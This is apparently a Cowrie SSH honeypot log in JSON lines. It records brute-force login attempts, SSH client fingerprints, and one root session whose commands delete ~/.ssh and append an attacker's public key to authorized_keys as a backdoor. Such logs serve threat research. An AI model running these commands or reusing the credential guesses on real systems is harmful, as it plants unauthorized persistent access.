03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xde7\\xf1\\x0bNM\\x11\\x98)\\\\C\\xcc\\x91\\xba\\x8e\\xd9\\x8axs\\x94?\\xd6\\x1c\\x06x\\x9a\\xe9\\xebxHfR\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:03:28.161057Z","src_ip":"185.156.73.233","session":"a8b3c43360b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:03:28.651356Z","src_ip":"185.156.73.233","session":"a8b3c43360b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":43962,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d73b59f1b90","protocol":"ssh","message":"New connection: 195.178.110.218:43962 (159.203.135.109:22) [session: 9d73b59f1b90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:04:38.105626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:04:38.110318Z","src_ip":"195.178.110.218","session":"9d73b59f1b90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:04:38.193193Z","src_ip":"195.178.110.218","session":"9d73b59f1b90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:04:38.436346Z","src_ip":"195.178.110.218","session":"9d73b59f1b90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:04:39.518884Z","src_ip":"195.178.110.218","session":"9d73b59f1b90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":12312,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e8c5f912733","protocol":"ssh","message":"New connection: 2.57.121.112:12312 (159.203.135.109:22) [session: 2e8c5f912733]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:04:57.097193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:04:57.101630Z","src_ip":"2.57.121.112","session":"2e8c5f912733","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:04:57.205634Z","src_ip":"2.57.121.112","session":"2e8c5f912733","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030392","message":"login attempt [admin/030392] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:04:57.695319Z","src_ip":"2.57.121.112","session":"2e8c5f912733","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"03031972","message":"login attempt [admin/03031972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:04:58.801686Z","src_ip":"2.57.121.112","session":"2e8c5f912733","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030289","message":"login attempt [admin/030289] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:04:59.908284Z","src_ip":"2.57.121.112","session":"2e8c5f912733","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030189","message":"login attempt [admin/030189] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:05:01.014485Z","src_ip":"2.57.121.112","session":"2e8c5f912733","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030185","message":"login attempt [admin/030185] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:05:02.123116Z","src_ip":"2.57.121.112","session":"2e8c5f912733","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:05:03.231479Z","src_ip":"2.57.121.112","session":"2e8c5f912733","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":36484,"dst_ip":"159.203.135.109","dst_port":22,"session":"1105341d0d4b","protocol":"ssh","message":"New connection: 193.32.162.151:36484 (159.203.135.109:22) [session: 1105341d0d4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:05:35.321307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:05:35.325701Z","src_ip":"193.32.162.151","session":"1105341d0d4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:05:35.429044Z","src_ip":"193.32.162.151","session":"1105341d0d4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"user","message":"login attempt [admin/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:05:35.733684Z","src_ip":"193.32.162.151","session":"1105341d0d4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:05:36.837383Z","src_ip":"193.32.162.151","session":"1105341d0d4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":39888,"dst_ip":"159.203.135.109","dst_port":22,"session":"aec2dac432d3","protocol":"ssh","message":"New connection: 195.178.110.218:39888 (159.203.135.109:22) [session: aec2dac432d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:07:13.520384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:07:13.524645Z","src_ip":"195.178.110.218","session":"aec2dac432d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:07:13.604470Z","src_ip":"195.178.110.218","session":"aec2dac432d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"firedancer","message":"login attempt [sol/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:07:13.844568Z","src_ip":"195.178.110.218","session":"aec2dac432d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:07:14.927325Z","src_ip":"195.178.110.218","session":"aec2dac432d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.51.153.37","src_port":48124,"dst_ip":"10.17.0.5","dst_port":22,"session":"038a190251cf","protocol":"ssh","message":"New connection: 179.51.153.37:48124 (10.17.0.5:22) [session: 038a190251cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:07:27.991189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:07:27.995466Z","src_ip":"179.51.153.37","session":"038a190251cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:07:28.147433Z","src_ip":"179.51.153.37","session":"038a190251cf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"zxczxczxc","message":"login attempt [root/zxczxczxc] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:07:28.790329Z","src_ip":"179.51.153.37","session":"038a190251cf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:07:29.137813Z","src_ip":"179.51.153.37","session":"038a190251cf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:07:29.141146Z","src_ip":"179.51.153.37","session":"038a190251cf","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:07:29.144925Z","src_ip":"179.51.153.37","session":"038a190251cf","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:07:29.301105Z","src_ip":"179.51.153.37","session":"038a190251cf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:07:29.639460Z","src_ip":"179.51.153.37","session":"038a190251cf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:07:29.642663Z","src_ip":"179.51.153.37","session":"038a190251cf","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:07:29.798677Z","src_ip":"179.51.153.37","session":"038a190251cf","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:07:29.802190Z","src_ip":"179.51.153.37","session":"038a190251cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.51.153.37","src_port":50650,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ac730833e79","protocol":"ssh","message":"New connection: 179.51.153.37:50650 (10.17.0.5:22) [session: 0ac730833e79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:07:29.946501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:07:29.950835Z","src_ip":"179.51.153.37","session":"0ac730833e79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:07:30.102258Z","src_ip":"179.51.153.37","session":"0ac730833e79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:07:30.743508Z","src_ip":"179.51.153.37","session":"0ac730833e79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:07:31.900330Z","src_ip":"179.51.153.37","session":"0ac730833e79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.51.153.37","src_port":50652,"dst_ip":"10.17.0.5","dst_port":22,"session":"52a4ca5837f4","protocol":"ssh","message":"New connection: 179.51.153.37:50652 (10.17.0.5:22) [session: 52a4ca5837f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:07:32.049004Z"}
